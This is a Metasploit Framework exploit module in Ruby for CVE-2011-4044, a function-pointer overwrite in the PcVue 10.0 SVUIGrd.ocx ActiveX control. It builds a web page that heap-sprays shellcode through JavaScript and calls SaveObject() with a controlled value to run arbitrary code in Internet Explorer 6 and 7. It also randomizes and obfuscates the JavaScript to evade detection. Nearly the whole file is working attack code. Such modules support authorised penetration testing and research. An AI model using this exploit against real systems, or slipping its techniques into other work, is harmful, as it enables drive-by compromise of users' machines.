##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability",
			'Description'    => %q{
				This module exploits a function pointer control within SVUIGrd.ocx of PcVue 10.0.
				By setting a dword value for the SaveObject() or LoadObject(), an attacker can
				overwrite a function pointer and execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Luigi Auriemma', # original find
					'mr_me <steventhomasseeley[at]gmail.com>',  # msf module
					'TecR0c <roccogiovannicalvi[at]gmail.com >',# msf module
				],
			'References'     =>
				[
					[ 'CVE', '2011-4044' ],
					[ 'OSVDB', '77561' ],
					[ 'BID', '49795' ],
					[ 'URL', 'http://aluigi.altervista.org/adv/pcvue_1-adv.txt' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Payload'        =>
				{
					'Space'           => 1024,
					'BadChars'        => "\x00\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						#IE 6/7 on Widnows XP and Vista
						'Internet Explorer 6 / Internet Explorer 7',
						{
							'Ret'    => 0x0a0a0a0a,
							'Offset' => 1000
						}
					]
				],
			'DisclosureDate' => 'Oct 5 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
					OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]),
				], self.class)
	end

	def on_request_uri(cli, request)

		#If not IE, we don't continue
		agent = request.headers['User-Agent']
		if agent !~ /MSIE [6|7]\.0/
			print_error("Target not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Setup exploit buffers
		nops      = Rex::Text.to_unescape([target.ret].pack('V'))
		ret       = "0x%08x" % target.ret

		blocksize = 0x50000
		fillto    = 200

		# Randomize the javascript variable names
		obj_name     = rand_text_alpha(rand(100) + 1)
		j_shellcode  = rand_text_alpha(rand(100) + 1)
		j_nops       = rand_text_alpha(rand(100) + 1)
		j_ret        = rand_text_alpha(rand(100) + 1)
		j_headersize = rand_text_alpha(rand(100) + 1)
		j_slackspace = rand_text_alpha(rand(100) + 1)
		j_fillblock  = rand_text_alpha(rand(100) + 1)
		j_block      = rand_text_alpha(rand(100) + 1)
		j_memory     = rand_text_alpha(rand(100) + 1)
		j_counter    = rand_text_alpha(rand(30) + 2)
		j_txt	     = rand_text_alpha(rand(8) + 4)

		js = <<-EOS
var #{j_shellcode} = unescape('#{shellcode}');
var #{j_nops} = unescape("#{nops}");
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while(#{j_nops}.length < #{j_slackspace}) {
  #{j_nops} += #{j_nops};
}
var #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
var #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while((#{j_block}.length + #{j_slackspace}) < #{blocksize}) {
  #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
}

#{j_memory} = new Array();
for(#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++){
  #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode} ;
}

function main(){
  #{obj_name}.SaveObject("#{j_txt}.txt", #{ret}, 0);
}
EOS

		js = js.gsub(/^\t\t/, '')

		#JS obfuscation on demand
		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
			main_sym = js.sym('main')
		else
			main_sym = "main"
		end

		content = <<-EOS
<html>
<body>
<object classid='clsid:2BBD45A5-28AE-11D1-ACAC-0800170967D9' id='#{obj_name}' ></object>
<script language='javascript'>
#{js}
#{main_sym}();
</script>
</body>
</html>
EOS

		#Remove the extra tabs from content
		content = content.gsub(/^\t\t/, '')

		print_status("Sending #{self.name}")
		send_response(cli, content, {'Content-Type'=>'text/html'})
	end
end


=begin
Tested successfully on the following platforms:
 - PcVue 10.0 (SVUIGrd.ocx v1.5.1.0) on Internet Explorer 6 & 7, Windows XP SP3

Class SVUIGrdCtrl
ProgID: SV.UIGrdCtrl.1
GUID: {2BBD45A5-28AE-11D1-ACAC-0800170967D9}
Number of Interfaces: 1
Default Interface: ISVUIGrd
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
=end
